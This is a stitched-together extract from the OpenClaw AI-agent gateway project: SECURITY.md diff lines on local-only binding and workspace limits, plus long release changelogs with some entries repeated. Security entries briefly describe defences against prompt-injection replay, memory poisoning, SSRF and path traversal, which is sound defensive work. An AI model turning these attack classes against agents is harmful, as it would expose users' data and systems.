- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.dm.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
- Optional: set `commands.native`, `commands.text`, or `commands.useAccessGroups`, plus `channels.discord.allowFrom`, `channels.discord.guilds`, or `channels.discord.mediaMaxMb` as needed.
@@ -39,6 +39,10 @@ Reports without reproduction steps, demonstrated impact, and remediation advice
OpenClaw is a labor of love. There is no bug bounty program and no budget for paid reports. Please still disclose responsibly so we can fix issues quickly.
The best way to help the project right now is by sending PRs.
## Maintainers: GHSA Updates via CLI
When patching a GHSA via `gh api`, include `X-GitHub-Api-Version: 2022-11-28` (or newer). Without it, some fields (notably CVSS) may not persist even if the request returns 200.
## Out of Scope
- Public Internet Exposure
@@ -51,9 +55,22 @@ For threat model + hardening guidance (including `openclaw security audit --deep
-`https://docs.openclaw.ai/gateway/security`
### Tool filesystem hardening
-`tools.exec.applyPatch.workspaceOnly: true` (recommended): keeps `apply_patch` writes/deletes within the configured workspace directory.
-`tools.fs.workspaceOnly: true` (optional): restricts `read`/`write`/`edit`/`apply_patch` paths to the workspace directory.
- Avoid setting `tools.exec.applyPatch.workspaceOnly: false` unless you fully trust who can trigger tool execution.
### Web Interface Safety
OpenClaw's web interface is intended for local use only. Do **not** bind it to the public internet; it is not hardened for public exposure.
OpenClaw's web interface (Gateway Control UI + HTTP endpoints) is intended for **local use only**.
- Recommended: keep the Gateway **loopback-only** (`127.0.0.1` / `::1`).
- Config: `gateway.bind="loopback"` (default).
- CLI: `openclaw gateway run --bind loopback`.
- Do **not** expose it to the public internet (no direct bind to `0.0.0.0`, no public reverse proxy). It is not hardened for public exposure.
- If you need remote access, prefer an SSH tunnel or Tailscale serve/funnel (so the Gateway still binds to loopback), plus strong Gateway auth.
- The Gateway HTTP surface includes the canvas host (`/__openclaw__/canvas/`, `/__openclaw__/a2ui/`). Treat canvas content as sensitive/untrusted and avoid exposing it beyond loopback unless you understand the risk.
<li>CLI: add <code>openclaw logs --local-time</code> to display log timestamps in local timezone. (#13818) Thanks @xialonglee.</li>
<li>Telegram: render blockquotes as native <code><blockquote></code> tags instead of stripping them. (#14608)</li>
<li>Config: avoid redacting <code>maxTokens</code>-like fields during config snapshot redaction, preventing round-trip validation failures in <code>/config</code>. (#14006) Thanks @constansino.</li>
</ul>
<h3>Breaking</h3>
<ul>
<li>Hooks: <code>POST /hooks/agent</code> now rejects payload <code>sessionKey</code> overrides by default. To keep fixed hook context, set <code>hooks.defaultSessionKey</code> (recommended with <code>hooks.allowedSessionKeyPrefixes: ["hook:"]</code>). If you need legacy behavior, explicitly set <code>hooks.allowRequestSessionKey: true</code>. Thanks @alpernae for reporting.</li>
<li>Slack/Discord: add <code>dmPolicy</code> + <code>allowFrom</code> config aliases for DM access control; legacy <code>dm.policy</code> + <code>dm.allowFrom</code> keys remain supported and <code>openclaw doctor --fix</code> can migrate them.</li>
<li>Discord: allow exec approval prompts to target channels or both DM+channel via <code>channels.discord.execApprovals.target</code>. (#16051) Thanks @leonnardo.</li>
<li>Sandbox: add <code>sandbox.browser.binds</code> to configure browser-container bind mounts separately from exec containers. (#16230) Thanks @seheepeak.</li>
<li>Discord: add debug logging for message routing decisions to improve <code>--debug</code> tracing. (#16202) Thanks @jayleekr.</li>
<li>Security/Audit: add hook session-routing hardening checks (<code>hooks.defaultSessionKey</code>, <code>hooks.allowRequestSessionKey</code>, and prefix allowlists), and warn when HTTP API endpoints allow explicit session-key routing.</li>
<li>Security/Sandbox: confine mirrored skill sync destinations to the sandbox <code>skills/</code> root and stop using frontmatter-controlled skill names as filesystem destination paths. Thanks @1seal.</li>
<li>Security/Web tools: treat browser/web content as untrusted by default (wrapped outputs for browser snapshot/tabs/console and structured external-content metadata for web tools), and strip <code>toolResult.details</code> from model-facing transcript/compaction inputs to reduce prompt-injection replay risk.</li>
<li>Security/Hooks: harden webhook and device token verification with shared constant-time secret comparison, and add per-client auth-failure throttling for hook endpoints (<code>429</code> + <code>Retry-After</code>). Thanks @akhmittra.</li>
<li>Security/Browser: require auth for loopback browser control HTTP routes, auto-generate <code>gateway.auth.token</code> when browser control starts without auth, and add a security-audit check for unauthenticated browser control. Thanks @tcusolle.</li>
<li>Sessions/Gateway: harden transcript path resolution and reject unsafe session IDs/file paths so session operations stay within agent sessions directories. Thanks @akhmittra.</li>
<li>Gateway: raise WS payload/buffer limits so 5,000,000-byte image attachments work reliably. (#14486) Thanks @0xRaini.</li>
<li>Logging/CLI: use local timezone timestamps for console prefixing, and include <code>±HH:MM</code> offsets when using <code>openclaw logs --local-time</code> to avoid ambiguity. (#14771) Thanks @0xRaini.</li>
<li>Gateway: drain active turns before restart to prevent message loss. (#13931) Thanks @0xRaini.</li>
<li>Gateway: auto-generate auth token during install to prevent launchd restart loops. (#13813) Thanks @cathrynlavery.</li>
<li>Gateway: prevent <code>undefined</code>/missing token in auth config. (#13809) Thanks @asklee-klawd.</li>
<li>Gateway: handle async <code>EPIPE</code> on stdout/stderr during shutdown. (#13414) Thanks @keshav55.</li>
<li>Gateway/Control UI: resolve missing dashboard assets when <code>openclaw</code> is installed globally via symlink-based Node managers (nvm/fnm/n/Homebrew). (#14919) Thanks @aynorica.</li>
<li>Cron: use requested <code>agentId</code> for isolated job auth resolution. (#13983) Thanks @0xRaini.</li>
<li>Cron: prevent cron jobs from skipping execution when <code>nextRunAtMs</code> advances. (#14068) Thanks @WalterSumbon.</li>
<li>Cron: pass <code>agentId</code> to <code>runHeartbeatOnce</code> for main-session jobs. (#14140) Thanks @ishikawa-pro.</li>
<li>Cron: re-arm timers when <code>onTimer</code> fires while a job is still executing. (#14233) Thanks @tomron87.</li>
<li>Cron: prevent duplicate fires when multiple jobs trigger simultaneously. (#14256) Thanks @xinhuagu.</li>
<li>Cron: isolate scheduler errors so one bad job does not break all jobs. (#14385) Thanks @MarvinDontPanic.</li>
<li>Cron: prevent one-shot <code>at</code> jobs from re-firing on restart after skipped/errored runs. (#13878) Thanks @lailoo.</li>
<li>Heartbeat: prevent scheduler stalls on unexpected run errors and avoid immediate rerun loops after <code>requests-in-flight</code> skips. (#14901) Thanks @joeykrug.</li>
<li>Cron: honor stored session model overrides for isolated-agent runs while preserving <code>hooks.gmail.model</code> precedence for Gmail hook sessions. (#14983) Thanks @shtse8.</li>
<li>Logging/Browser: fall back to <code>os.tmpdir()/openclaw</code> for default log, browser trace, and browser download temp paths when <code>/tmp/openclaw</code> is unavailable.</li>
<li>WhatsApp: convert Markdown bold/strikethrough to WhatsApp formatting. (#14285) Thanks @Raikan10.</li>
<li>WhatsApp: allow media-only sends and normalize leading blank payloads. (#14408) Thanks @karimnaguib.</li>
<li>WhatsApp: default MIME type for voice messages when Baileys omits it. (#14444) Thanks @mcaxtr.</li>
<li>Telegram: handle no-text message in model picker editMessageText. (#14397) Thanks @0xRaini.</li>
<li>Telegram: surface REACTION_INVALID as non-fatal warning. (#14340) Thanks @0xRaini.</li>
<li>Slack: change default replyToMode from "off" to "all". (#14364) Thanks @nm-de.</li>
<li>Slack: detect control commands when channel messages start with bot mention prefixes (for example, <code>@Bot /new</code>). (#14142) Thanks @beefiker.</li>
<li>Signal: enforce E.164 validation for the Signal bot account prompt so mistyped numbers are caught early. (#15063) Thanks @Duartemartins.</li>
<li>Discord: process DM reactions instead of silently dropping them. (#10418) Thanks @mcaxtr.</li>
<li>Discord: respect replyToMode in threads. (#11062) Thanks @cordx56.</li>
<li>Heartbeat: filter noise-only system events so scheduled reminder notifications do not fire when cron runs carry only heartbeat markers. (#13317) Thanks @pvtclawn.</li>
<li>Signal: render mention placeholders as <code>@uuid</code>/<code>@phone</code> so mention gating and Clawdbot targeting work. (#2013) Thanks @alexgleason.</li>
<li>Discord: omit empty content fields for media-only messages while preserving caption whitespace. (#9507) Thanks @leszekszpunar.</li>
<li>Onboarding/Providers: add Z.AI endpoint-specific auth choices (<code>zai-coding-global</code>, <code>zai-coding-cn</code>, <code>zai-global</code>, <code>zai-cn</code>) and expand default Z.AI model wiring. (#13456) Thanks @tomsun28.</li>
<li>Onboarding/Providers: update MiniMax API default/recommended models from M2.1 to M2.5, add M2.5/M2.5-Lightning model entries, and include <code>minimax-m2.5</code> in modern model filtering. (#14865) Thanks @adao-max.</li>
<li>Ollama: use configured <code>models.providers.ollama.baseUrl</code> for model discovery and normalize <code>/v1</code> endpoints to the native Ollama API root. (#14131) Thanks @shtse8.</li>
<li>Voice Call: pass Twilio stream auth token via <code><Parameter></code> instead of query string. (#14029) Thanks @mcwigglesmcgee.</li>
<li>Feishu: pass <code>Buffer</code> directly to the Feishu SDK upload APIs instead of <code>Readable.from(...)</code> to avoid form-data upload failures. (#10345) Thanks @youngerstyle.</li>
<li>Feishu: trigger mention-gated group handling only when the bot itself is mentioned (not just any mention). (#11088) Thanks @openperf.</li>
<li>Feishu: probe status uses the resolved account context for multi-account credential checks. (#11233) Thanks @onevcat.</li>
<li>Feishu DocX: preserve top-level converted block order using <code>firstLevelBlockIds</code> when writing/appending documents. (#13994) Thanks @Cynosure159.</li>
<li>Feishu plugin packaging: remove <code>workspace:*</code> <code>openclaw</code> dependency from <code>extensions/feishu</code> and sync lockfile for install compatibility. (#14423) Thanks @jackcooper2015.</li>
<li>CLI/Wizard: exit with code 1 when <code>configure</code>, <code>agents add</code>, or interactive <code>onboard</code> wizards are canceled, so <code>set -e</code> automation stops correctly. (#14156) Thanks @0xRaini.</li>
<li>Media: strip <code>MEDIA:</code> lines with local paths instead of leaking as visible text. (#14399) Thanks @0xRaini.</li>
<li>Config/Cron: exclude <code>maxTokens</code> from config redaction and honor <code>deleteAfterRun</code> on skipped cron jobs. (#13342) Thanks @niceysam.</li>
<li>Config: ignore <code>meta</code> field changes in config file watcher. (#13460) Thanks @brandonwise.</li>
<li>Cron: use requested <code>agentId</code> for isolated job auth resolution. (#13983) Thanks @0xRaini.</li>
<li>Cron: pass <code>agentId</code> to <code>runHeartbeatOnce</code> for main-session jobs. (#14140) Thanks @ishikawa-pro.</li>
<li>Cron: prevent cron jobs from skipping execution when <code>nextRunAtMs</code> advances. (#14068) Thanks @WalterSumbon.</li>
<li>Cron: re-arm timers when <code>onTimer</code> fires while a job is still executing. (#14233) Thanks @tomron87.</li>
<li>Cron: prevent duplicate fires when multiple jobs trigger simultaneously. (#14256) Thanks @xinhuagu.</li>
<li>Cron: isolate scheduler errors so one bad job does not break all jobs. (#14385) Thanks @MarvinDontPanic.</li>
<li>Cron: prevent one-shot <code>at</code> jobs from re-firing on restart after skipped/errored runs. (#13878) Thanks @lailoo.</li>
<li>Daemon: suppress <code>EPIPE</code> error when restarting LaunchAgent. (#14343) Thanks @0xRaini.</li>
<li>Antigravity: add opus 4.6 forward-compat model and bypass thinking signature sanitization. (#14218) Thanks @jg-noncelogic.</li>
<li>Agents: prevent file descriptor leaks in child process cleanup. (#13565) Thanks @KyleChen26.</li>
<li>Agents: use last API call's cache tokens for context display instead of accumulated sum. (#13805) Thanks @akari-musubi.</li>
<li>Agents: keep followup-runner session <code>totalTokens</code> aligned with post-compaction context by using last-call usage and shared token-accounting logic. (#14979) Thanks @shtse8.</li>
<li>Hooks/Tools: dispatch <code>before_tool_call</code> and <code>after_tool_call</code> hooks from both tool execution paths with rebased conflict fixes. (#15012) Thanks @Patrick-Barletta, @Takhoffman.</li>
<li>Discord: allow channel-edit to archive/lock threads and set auto-archive duration. (#5542) Thanks @stumct.</li>
<li>Discord tests: use a partial @buape/carbon mock in slash command coverage. (#13262) Thanks @arosstale.</li>
<li>Tests: update thread ID handling in Slack message collection tests. (#14108) Thanks @swizzmagik.</li>
<li>CLI/Plugins: ensure <code>openclaw message send</code> exits after successful delivery across plugin-backed channels so one-shot sends do not hang. (#16491) Thanks @yinghaosang.</li>
<li>CLI/Plugins: run registered plugin <code>gateway_stop</code> hooks before <code>openclaw message</code> exits (success and failure paths), so plugin-backed channels can clean up one-shot CLI resources. (#16580) Thanks @gumadeiras.</li>
<li>WhatsApp: honor per-account <code>dmPolicy</code> overrides (account-level settings now take precedence over channel defaults for inbound DMs). (#10082) Thanks @mcaxtr.</li>
<li>Telegram: when <code>channels.telegram.commands.native</code> is <code>false</code>, exclude plugin commands from <code>setMyCommands</code> menu registration while keeping plugin slash handlers callable. (#15132) Thanks @Glucksberg.</li>
<li>LINE: return 200 OK for Developers Console "Verify" requests (<code>{"events":[]}</code>) without <code>X-Line-Signature</code>, while still requiring signatures for real deliveries. (#16582) Thanks @arosstale.</li>
<li>Cron: deliver text-only output directly when <code>delivery.to</code> is set so cron recipients get full output instead of summaries. (#16360) Thanks @thewilloftheshadow.</li>
<li>Cron/Slack: preserve agent identity (name and icon) when cron jobs deliver outbound messages. (#16242) Thanks @robbyczgw-cla.</li>
<li>Media: accept <code>MEDIA:</code>-prefixed paths (lenient whitespace) when loading outbound media to prevent <code>ENOENT</code> for tool-returned local media paths. (#13107) Thanks @mcaxtr.</li>
<li>Agents: deliver tool result media (screenshots, images, audio) to channels regardless of verbose level. (#11735) Thanks @strelov1.</li>
<li>Agents/Image tool: allow workspace-local image paths by including the active workspace directory in local media allowlists, and trust sandbox-validated paths in image loaders to prevent false "not under an allowed directory" rejections. (#15541)</li>
<li>Agents/Image tool: propagate the effective workspace root into tool wiring so workspace-local image paths are accepted by default when running without an explicit <code>workspaceDir</code>. (#16722)</li>
<li>BlueBubbles: include sender identity in group chat envelopes and pass clean message text to the agent prompt, aligning with iMessage/Signal formatting. (#16210) Thanks @zerone0x.</li>
<li>CLI: fix lazy core command registration so top-level maintenance commands (<code>doctor</code>, <code>dashboard</code>, <code>reset</code>, <code>uninstall</code>) resolve correctly instead of exposing a non-functional <code>maintenance</code> placeholder command.</li>
<li>CLI/Dashboard: when <code>gateway.bind=lan</code>, generate localhost dashboard URLs to satisfy browser secure-context requirements while preserving non-LAN bind behavior. (#16434) Thanks @BinHPdev.</li>
<li>TUI/Gateway: resolve local gateway target URL from <code>gateway.bind</code> mode (tailnet/lan) instead of hardcoded localhost so <code>openclaw tui</code> connects when gateway is non-loopback. (#16299) Thanks @cortexuvula.</li>
<li>TUI: honor explicit <code>--session <key></code> in <code>openclaw tui</code> even when <code>session.scope</code> is <code>global</code>, so named sessions no longer collapse into shared global history. (#16575) Thanks @cinqu.</li>
<li>TUI: use available terminal width for session name display in searchable select lists. (#16238) Thanks @robbyczgw-cla.</li>
<li>TUI: refactor searchable select list description layout and add regression coverage for ANSI-highlight width bounds.</li>
<li>TUI: preserve in-flight streaming replies when a different run finalizes concurrently (avoid clearing active run or reloading history mid-stream). (#10704) Thanks @axschr73.</li>
<li>TUI: keep pre-tool streamed text visible when later tool-boundary deltas temporarily omit earlier text blocks. (#6958) Thanks @KrisKind75.</li>
<li>TUI: sanitize ANSI/control-heavy history text, redact binary-like lines, and split pathological long unbroken tokens before rendering to prevent startup crashes on binary attachment history. (#13007) Thanks @wilkinspoe.</li>
<li>TUI: harden render-time sanitizer for narrow terminals by chunking moderately long unbroken tokens and adding fast-path sanitization guards to reduce overhead on normal text. (#5355) Thanks @tingxueren.</li>
<li>TUI: render assistant body text in terminal default foreground (instead of fixed light ANSI color) so contrast remains readable on light themes such as Solarized Light. (#16750) Thanks @paymog.</li>
<li>TUI/Hooks: pass explicit reset reason (<code>new</code> vs <code>reset</code>) through <code>sessions.reset</code> and emit internal command hooks for gateway-triggered resets so <code>/new</code> hook workflows fire in TUI/webchat.</li>
<li>Cron: prevent <code>cron list</code>/<code>cron status</code> from silently skipping past-due recurring jobs by using maintenance recompute semantics. (#16156) Thanks @zerone0x.</li>
<li>Cron: repair missing/corrupt <code>nextRunAtMs</code> for the updated job without globally recomputing unrelated due jobs during <code>cron update</code>. (#15750)</li>
<li>Cron: skip missed-job replay on startup for jobs interrupted mid-run (stale <code>runningAtMs</code> markers), preventing restart loops for self-restarting jobs such as update tasks. (#16694) Thanks @sbmilburn.</li>
<li>Discord: prefer gateway guild id when logging inbound messages so cached-miss guilds do not appear as <code>guild=dm</code>. Thanks @thewilloftheshadow.</li>
<li>Discord: treat empty per-guild <code>channels: {}</code> config maps as no channel allowlist (not deny-all), so <code>groupPolicy: "open"</code> guilds without explicit channel entries continue to receive messages. (#16714) Thanks @xqliu.</li>
<li>Models/CLI: guard <code>models status</code> string trimming paths to prevent crashes from malformed non-string config values. (#16395) Thanks @BinHPdev.</li>
<li>Gateway/Subagents: preserve queued announce items and summary state on delivery errors, retry failed announce drains, and avoid dropping unsent announcements on timeout/failure. (#16729) Thanks @Clawdette-Workspace.</li>
<li>Gateway/Sessions: abort active embedded runs and clear queued session work before <code>sessions.reset</code>, returning unavailable if the run does not stop in time. (#16576) Thanks @Grynn.</li>
<li>Sessions/Agents: harden transcript path resolution for mismatched agent context by preserving explicit store roots and adding safe absolute-path fallback to the correct agent sessions directory. (#16288) Thanks @robbyczgw-cla.</li>
<li>Agents: add a safety timeout around embedded <code>session.compact()</code> to ensure stalled compaction runs settle and release blocked session lanes. (#16331) Thanks @BinHPdev.</li>
<li>Agents: keep unresolved mutating tool failures visible until the same action retry succeeds, scope mutation-error surfacing to mutating calls (including <code>session_status</code> model changes), and dedupe duplicate failure warnings in outbound replies. (#16131) Thanks @Swader.</li>
<li>Agents/Process/Bootstrap: preserve unbounded <code>process log</code> offset-only pagination (default tail applies only when both <code>offset</code> and <code>limit</code> are omitted) and enforce strict <code>bootstrapTotalMaxChars</code> budgeting across injected bootstrap content (including markers), skipping additional injection when remaining budget is too small. (#16539) Thanks @CharlieGreenman.</li>
<li>Agents/Workspace: persist bootstrap onboarding state so partially initialized workspaces recover missing <code>BOOTSTRAP.md</code> once, while completed onboarding keeps BOOTSTRAP deleted even if runtime files are later recreated. Thanks @gumadeiras.</li>
<li>Agents/Workspace: create <code>BOOTSTRAP.md</code> when core workspace files are seeded in partially initialized workspaces, while keeping BOOTSTRAP one-shot after onboarding deletion. (#16457) Thanks @robbyczgw-cla.</li>
<li>Agents: classify external timeout aborts during compaction the same as internal timeouts, preventing unnecessary auth-profile rotation and preserving compaction-timeout snapshot fallback behavior. (#9855) Thanks @mverrilli.</li>
<li>Agents: treat empty-stream provider failures (<code>request ended without sending any chunks</code>) as timeout-class failover signals, enabling auth-profile rotation/fallback and showing a friendly timeout message instead of raw provider errors. (#10210) Thanks @zenchantlive.</li>
<li>Agents: treat <code>read</code> tool <code>file_path</code> arguments as valid in tool-start diagnostics to avoid false “read tool called without path” warnings when alias parameters are used. (#16717) Thanks @Stache73.</li>
<li>Ollama/Agents: avoid forcing <code><final></code> tag enforcement for Ollama models, which could suppress all output as <code>(no output)</code>. (#16191) Thanks @Glucksberg.</li>
<li>Plugins: suppress false duplicate plugin id warnings when the same extension is discovered via multiple paths (config/workspace/global vs bundled), while still warning on genuine duplicates. (#16222) Thanks @shadril238.</li>
<li>Skills: watch <code>SKILL.md</code> only when refreshing skills snapshot to avoid file-descriptor exhaustion in large data trees. (#11325) Thanks @household-bard.</li>
<li>Memory/QMD: make <code>memory status</code> read-only by skipping QMD boot update/embed side effects for status-only manager checks.</li>
<li>Memory/QMD: keep original QMD failures when builtin fallback initialization fails (for example missing embedding API keys), instead of replacing them with fallback init errors.</li>
<li>Memory/Builtin: keep <code>memory status</code> dirty reporting stable across invocations by deriving status-only manager dirty state from persisted index metadata instead of process-start defaults. (#10863) Thanks @BarryYangi.</li>
<li>Memory/QMD: cap QMD command output buffering to prevent memory exhaustion from pathological <code>qmd</code> command output.</li>
<li>Memory/QMD: parse qmd scope keys once per request to avoid repeated parsing in scope checks.</li>
<li>Memory/QMD: query QMD index using exact docid matches before falling back to prefix lookup for better recall correctness and index efficiency.</li>
<li>Memory/QMD: pass result limits to <code>search</code>/<code>vsearch</code> commands so QMD can cap results earlier.</li>
<li>Memory/QMD: avoid reading full markdown files when a <code>from/lines</code> window is requested in QMD reads.</li>
<li>Memory/QMD: skip rewriting unchanged session export markdown files during sync to reduce disk churn.</li>
<li>Memory/QMD: make QMD result JSON parsing resilient to noisy command output by extracting the first JSON array from noisy <code>stdout</code>.</li>
<li>Memory/QMD: treat prefixed <code>no results found</code> marker output as an empty result set in qmd JSON parsing. (#11302) Thanks @blazerui.</li>
<li>Memory/QMD: avoid multi-collection <code>query</code> ranking corruption by running one <code>qmd query -c <collection></code> per managed collection and merging by best score (also used for <code>search</code>/<code>vsearch</code> fallback-to-query). (#16740) Thanks @volarian-vai.</li>
<li>Memory/QMD/Security: add <code>rawKeyPrefix</code> support for QMD scope rules and preserve legacy <code>keyPrefix: "agent:..."</code> matching, preventing scoped deny bypass when operators match agent-prefixed session keys.</li>
<li>Memory/Builtin: narrow memory watcher targets to markdown globs and ignore dependency/venv directories to reduce file-descriptor pressure during memory sync startup. (#11721) Thanks @rex05ai.</li>
<li>Security/Memory-LanceDB: treat recalled memories as untrusted context (escape injected memory text + explicit non-instruction framing), skip likely prompt-injection payloads during auto-capture, and restrict auto-capture to user messages to reduce memory-poisoning risk. (#12524) Thanks @davidschmid24.</li>
<li>Security/Memory-LanceDB: require explicit <code>autoCapture: true</code> opt-in (default is now disabled) to prevent automatic PII capture unless operators intentionally enable it. (#12552) Thanks @fr33d3m0n.</li>
<li>Diagnostics/Memory: prune stale diagnostic session state entries and cap tracked session states to prevent unbounded in-memory growth on long-running gateways. (#5136) Thanks @coygeek and @vignesh07.</li>
<li>Gateway/Memory: clean up <code>agentRunSeq</code> tracking on run completion/abort and enforce maintenance-time cap pruning to prevent unbounded sequence-map growth over long uptimes. (#6036) Thanks @coygeek and @vignesh07.</li>
<li>Auto-reply/Memory: bound <code>ABORT_MEMORY</code> growth by evicting oldest entries and deleting reset (<code>false</code>) flags so abort state tracking cannot grow unbounded over long uptimes. (#6629) Thanks @coygeek and @vignesh07.</li>
<li>Slack/Memory: bound thread-starter cache growth with TTL + max-size pruning to prevent long-running Slack gateways from accumulating unbounded thread cache state. (#5258) Thanks @coygeek and @vignesh07.</li>
<li>Outbound/Memory: bound directory cache growth with max-size eviction and proactive TTL pruning to prevent long-running gateways from accumulating unbounded directory entries. (#5140) Thanks @coygeek and @vignesh07.</li>
<li>Skills/Memory: remove disconnected nodes from remote-skills cache to prevent stale node metadata from accumulating over long uptimes. (#6760) Thanks @coygeek.</li>
<li>Sandbox/Tools: make sandbox file tools bind-mount aware (including absolute container paths) and enforce read-only bind semantics for writes. (#16379) Thanks @tasaankaeris.</li>
<li>Media/Security: allow local media reads from OpenClaw state <code>workspace/</code> and <code>sandboxes/</code> roots by default so generated workspace media can be delivered without unsafe global path bypasses. (#15541) Thanks @lanceji.</li>
<li>Media/Security: harden local media allowlist bypasses by requiring an explicit <code>readFile</code> override when callers mark paths as validated, and reject filesystem-root <code>localRoots</code> entries. (#16739)</li>
<li>Discord/Security: harden voice message media loading (SSRF + allowed-local-root checks) so tool-supplied paths/URLs cannot be used to probe internal URLs or read arbitrary local files.</li>
<li>Security/BlueBubbles: require explicit <code>mediaLocalRoots</code> allowlists for local outbound media path reads to prevent local file disclosure. (#16322) Thanks @mbelinky.</li>
<li>Security/BlueBubbles: reject ambiguous shared-path webhook routing when multiple webhook targets match the same guid/password.</li>
<li>Security/BlueBubbles: harden BlueBubbles webhook auth behind reverse proxies by only accepting passwordless webhooks for direct localhost loopback requests (forwarded/proxied requests now require a password). Thanks @simecek.</li>
<li>Feishu/Security: harden media URL fetching against SSRF and local file disclosure. (#16285) Thanks @mbelinky.</li>
<li>Security/Zalo: reject ambiguous shared-path webhook routing when multiple webhook targets match the same secret.</li>
<li>Security/Signal: harden signal-cli archive extraction during install to prevent path traversal outside the install root.</li>
<li>Security/Hooks: restrict hook transform modules to <code>~/.openclaw/hooks/transforms</code> (prevents path traversal/escape module loads via config). Config note: <code>hooks.transformsDir</code> must now be within that directory. Thanks @akhmittra.</li>
<li>Security/Hooks: ignore hook package manifest entries that point outside the package directory (prevents out-of-tree handler loads during hook discovery).</li>
<li>Security/Archive: enforce archive extraction entry/size limits to prevent resource exhaustion from high-expansion ZIP/TAR archives. Thanks @vincentkoc.</li>
<li>Security/Media: reject oversized base64-backed input media before decoding to avoid large allocations. Thanks @vincentkoc.</li>
<li>Security/Media: stream and bound URL-backed input media fetches to prevent memory exhaustion from oversized responses. Thanks @vincentkoc.</li>
<li>Security/Skills: harden archive extraction for download-installed skills to prevent path traversal outside the target directory. Thanks @markmusson.</li>
<li>Security/Slack: compute command authorization for DM slash commands even when <code>dmPolicy=open</code>, preventing unauthorized users from running privileged commands via DM. Thanks @christos-eth.</li>
<li>Security/iMessage: keep DM pairing-store identities out of group allowlist authorization (prevents cross-context command authorization). Thanks @vincentkoc.</li>
<li>Security/Google Chat: deprecate <code>users/<email></code> allowlists (treat <code>users/...</code> as immutable user id only); keep raw email allowlists for usability. Thanks @vincentkoc.</li>
<li>Telegram/Security: require numeric Telegram sender IDs for allowlist authorization (reject <code>@username</code> principals), auto-resolve <code>@username</code> to IDs in <code>openclaw doctor --fix</code> (when possible), and warn in <code>openclaw security audit</code> when legacy configs contain usernames. Thanks @vincentkoc.</li>
<li>Telegram/Security: reject Telegram webhook startup when <code>webhookSecret</code> is missing or empty (prevents unauthenticated webhook request forgery). Thanks @yueyueL.</li>
<li>Security/Windows: avoid shell invocation when spawning child processes to prevent cmd.exe metacharacter injection via untrusted CLI arguments (e.g. agent prompt text).</li>
<li>Telegram: set webhook callback timeout handling to <code>onTimeout: "return"</code> (10s) so long-running update processing no longer emits webhook 500s and retry storms. (#16763) Thanks @chansearrington.</li>
<li>Signal: preserve case-sensitive <code>group:</code> target IDs during normalization so mixed-case group IDs no longer fail with <code>Group not found</code>. (#16748) Thanks @repfigit.</li>
<li>Feishu/Security: harden media URL fetching against SSRF and local file disclosure. (#16285) Thanks @mbelinky.</li>
<li>Security/Agents: scope CLI process cleanup to owned child PIDs to avoid killing unrelated processes on shared hosts. Thanks @aether-ai-agent.</li>
<li>Security/Agents: enforce workspace-root path bounds for <code>apply_patch</code> in non-sandbox mode to block traversal and symlink escape writes. Thanks @p80n-sec.</li>
<li>Security/Agents: enforce symlink-escape checks for <code>apply_patch</code> delete hunks under <code>workspaceOnly</code>, while still allowing deleting the symlink itself. Thanks @p80n-sec.</li>
<li>Security/Agents (macOS): prevent shell injection when writing Claude CLI keychain credentials. (#15924) Thanks @aether-ai-agent.</li>
<li>macOS: hard-limit unkeyed <code>openclaw://agent</code> deep links and ignore <code>deliver</code> / <code>to</code> / <code>channel</code> unless a valid unattended key is provided. Thanks @Cillian-Collins.</li>
<li>Scripts/Security: validate GitHub logins and avoid shell invocation in <code>scripts/update-clawtributors.ts</code> to prevent command injection via malicious commit records. Thanks @scanleale.</li>
<li>Security: fix Chutes manual OAuth login state validation by requiring the full redirect URL (reject code-only pastes) (thanks @aether-ai-agent).</li>
<li>Security/Gateway: harden tool-supplied <code>gatewayUrl</code> overrides by restricting them to loopback or the configured <code>gateway.remote.url</code>. Thanks @p80n-sec.</li>
<li>Security/Gateway: block <code>system.execApprovals.*</code> via <code>node.invoke</code> (use <code>exec.approvals.node.*</code> instead). Thanks @christos-eth.</li>
<li>Security/Gateway: reject oversized base64 chat attachments before decoding to avoid large allocations. Thanks @vincentkoc.</li>
<li>Security/Gateway: stop returning raw resolved config values in <code>skills.status</code> requirement checks (prevents operator.read clients from reading secrets). Thanks @simecek.</li>
<li>Security/Exec approvals: prevent safeBins allowlist bypass via shell expansion (host exec allowlist mode only; not enabled by default). Thanks @christos-eth.</li>
<li>Security/Exec: harden PATH handling by disabling project-local <code>node_modules/.bin</code> bootstrapping by default, disallowing node-host <code>PATH</code> overrides, and spawning ACP servers via the current executable by default. Thanks @akhmittra.</li>
<li>Security/Tlon: harden Urbit URL fetching against SSRF by blocking private/internal hosts by default (opt-in: <code>channels.tlon.allowPrivateNetwork</code>). Thanks @p80n-sec.</li>
<li>Security/Voice Call (Telnyx): require webhook signature verification when receiving inbound events; configs without <code>telnyx.publicKey</code> are now rejected unless <code>skipSignatureVerification</code> is enabled. Thanks @p80n-sec.</li>
<li>Security/Voice Call: require valid Twilio webhook signatures even when ngrok free tier loopback compatibility mode is enabled. Thanks @p80n-sec.</li>
<li>Security/Discovery: stop treating Bonjour TXT records as authoritative routing (prefer resolved service endpoints) and prevent discovery from overriding stored TLS pins; autoconnect now requires a previously trusted gateway. Thanks @simecek.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
<li>Telegram: recover proactive sends when stale topic thread IDs are used by retrying without <code>message_thread_id</code>. (#11620)</li>
<li>Telegram: render markdown spoilers with <code><tg-spoiler></code> HTML tags. (#11543) Thanks @ezhikkk.</li>
<li>Telegram: truncate command registration to 100 entries to avoid <code>BOT_COMMANDS_TOO_MUCH</code> failures on startup. (#12356) Thanks @arosstale.</li>
<li>Telegram: match DM <code>allowFrom</code> against sender user id (fallback to chat id) and clarify pairing logs. (#12779) Thanks @liuxiaopai-ai.</li>
<li>Onboarding: QuickStart now auto-installs shell completion (prompt only in Manual).</li>
<li>Auth: strip embedded line breaks from pasted API keys and tokens before storing/resolving credentials.</li>
<li>Web UI: make chat refresh smoothly scroll to the latest messages and suppress new-messages badge flash during manual refresh.</li>
<li>Tools/web_search: include provider-specific settings in the web search cache key, and pass <code>inlineCitations</code> for Grok. (#12419) Thanks @tmchow.</li>
<li>Tools/web_search: normalize direct Perplexity model IDs while keeping OpenRouter model IDs unchanged. (#12795) Thanks @cdorsey.</li>
<li>Model failover: treat HTTP 400 errors as failover-eligible, enabling automatic model fallback. (#1879) Thanks @orenyomtov.</li>
<li>Gateway: no more post-compaction amnesia; injected transcript writes now preserve Pi session <code>parentId</code> chain so agents can remember again. (#12283) Thanks @Takhoffman.</li>
